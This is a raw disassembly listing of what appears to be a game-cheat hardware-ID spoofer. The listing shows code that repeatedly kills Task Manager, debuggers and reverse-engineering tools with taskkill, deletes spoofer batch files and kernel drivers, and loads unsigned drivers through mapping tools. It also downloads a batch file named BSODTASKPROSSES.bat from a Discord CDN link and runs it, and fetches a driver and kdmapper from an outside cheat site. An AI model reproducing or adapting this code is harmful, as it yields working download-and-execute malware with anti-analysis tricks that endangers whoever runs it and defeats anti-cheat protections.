nop
lea rcx, [rsp + 0x7190]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7190]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CIMV2__random___random___random_
lea rcx, [rsp + 0x71b0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x71b0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x71b0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__WMI__random___random___random_
lea rcx, [rsp + 0x71d0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x71d0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x71d0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__WMIC__random___random___random_
lea rcx, [rsp + 0x71f0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x71f0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x71f0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BMH__random___random___random_
lea rcx, [rsp + 0x7210]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7210]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7210]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BPH__random___random___random_
lea rcx, [rsp + 0x7230]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7230]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7230]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BVH__random___random___random_
lea rcx, [rsp + 0x7250]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7250]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7250]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BSH__random___random___random_
lea rcx, [rsp + 0x7270]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7270]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7270]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BTH__random___random___random_
lea rcx, [rsp + 0x7290]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7290]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7290]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BLCH__random___random___random_
lea rcx, [rsp + 0x72b0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x72b0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x72b0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__IVN__random___random___random_
lea rcx, [rsp + 0x72d0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x72d0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x72d0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__ID__random___random___random_
lea rcx, [rsp + 0x72f0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x72f0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x72f0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CH__random___random___random_
lea rcx, [rsp + 0x7310]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7310]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7310]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CPC__random___random___random_
lea rcx, [rsp + 0x7330]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7330]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7330]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CMH__random___random___random_
lea rcx, [rsp + 0x7350]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7350]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7350]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CTH__random___random___random_
lea rcx, [rsp + 0x7370]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7370]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7370]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CVH__random___random___random_
lea rcx, [rsp + 0x7390]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7390]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7390]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CSH__random___random___random_
lea rcx, [rsp + 0x73b0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x73b0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x73b0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CAH__random___random___random_
lea rcx, [rsp + 0x73d0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x73d0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x73d0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__COH__random___random___random_
lea rcx, [rsp + 0x73f0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x73f0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x73f0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CHH__random___random___random_
lea rcx, [rsp + 0x7410]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7410]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7410]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CPCH__random___random___random_
lea rcx, [rsp + 0x7430]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7430]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7430]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CSKH__random___random___random_
lea rcx, [rsp + 0x7450]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7450]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7450]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SU__random___random___random_
lea rcx, [rsp + 0x7470]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7470]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7470]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__ALL__random___random___random_
lea rcx, [rsp + 0x7490]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7490]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7490]
call fcn.14005d8e0
lea rcx, str.C:WindowsSystemMobo.exe
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_testing.Bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemREMAKEALLINONESPOOFER.Bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoMobo.exe
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoMobo.exe
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoMobo.exe
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoMobo.exe
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_amifldrv32.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoAKEUDMAPPER.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_amifldrv64.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoRANDOMIZEDISK.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoAKEUDMAPPER.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoUD.sys
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_accountmaker.exe
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocolbact.dll
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoinstallDriver.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adokdu.exe
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoSpoofyyerrrerst.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodiskDRIVE.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperNULLSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoNULLSPOOF.sys
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_biosspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoNXTPERMMULTISPPOOFERV2.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_baseboardspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodrives.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_systemspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adochassisspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocpuspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_testing.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adomacchanger.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoc.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adod.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_biosspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoFIXEDV2.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocpuspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_testing.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemNXTPERMMULTISPPOOFERV2.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemAMIFLDRV64.SYS
call fcn.1402b632c
lea rcx, str.C:WindowsSystemNXTPERMMULTISPPOOFERV2.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemmacchanger.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_baseboardspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemchangeids.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemchassisspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemcpuspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemdrives.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_registry.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_systemspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemAMIFLDRV64.EXE
call fcn.1402b632c
lea rcx, str.C:WindowsSystemAMIFLDRV64.SYS
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoSpoofyyerrrerst.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodiskDRIVE.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperNULLSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoNULLSPOOF.sys
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str._thttps:__cdn.discordapp.com_attachments_1140870881128742992_1145307096582201414_BSODTASKPROSSES.bat
lea rcx, [rsp + 0xcc10]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rcx, [rsp + 0xcbf0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xcbf0]
call fcn.14005d8d0
mov qword [rsp + 0x12f0], rax
lea rcx, [rsp + 0xcc10]
call fcn.14005d8d0
mov qword [rsp + 0x12f8], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x12f0]
mov rdx, qword [rsp + 0x12f8]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_TEMP_macchangerdriver.sys
lea rcx, [rsp + 0xcbd0]
call fcn.14005d9d0
nop
lea rdx, [0x140392930]
lea rcx, [rsp + 0xcbb0]
call fcn.14005d9d0
nop
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_TEMP_kdmapper.exe
lea rcx, [rsp + 0xcb90]
call fcn.14005d9d0
nop
lea rdx, [0x1403925a8]
lea rcx, [rsp + 0xcb70]
call fcn.14005d9d0
nop
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_TEMP_MACCHANGERdriverinstaller.bat
lea rcx, [rsp + 0xcb50]
call fcn.14005d9d0
nop
lea rdx, [0x140392970]
lea rcx, [rsp + 0xcb30]
call fcn.14005d9d0
lea rcx, [rsp + 0xcbb0]
call fcn.14005d8d0
mov qword [rsp + 0x1300], rax
lea rcx, [rsp + 0xcbd0]
call fcn.14005d8d0
mov qword [rsp + 0x1308], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x1300]
mov rdx, qword [rsp + 0x1308]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
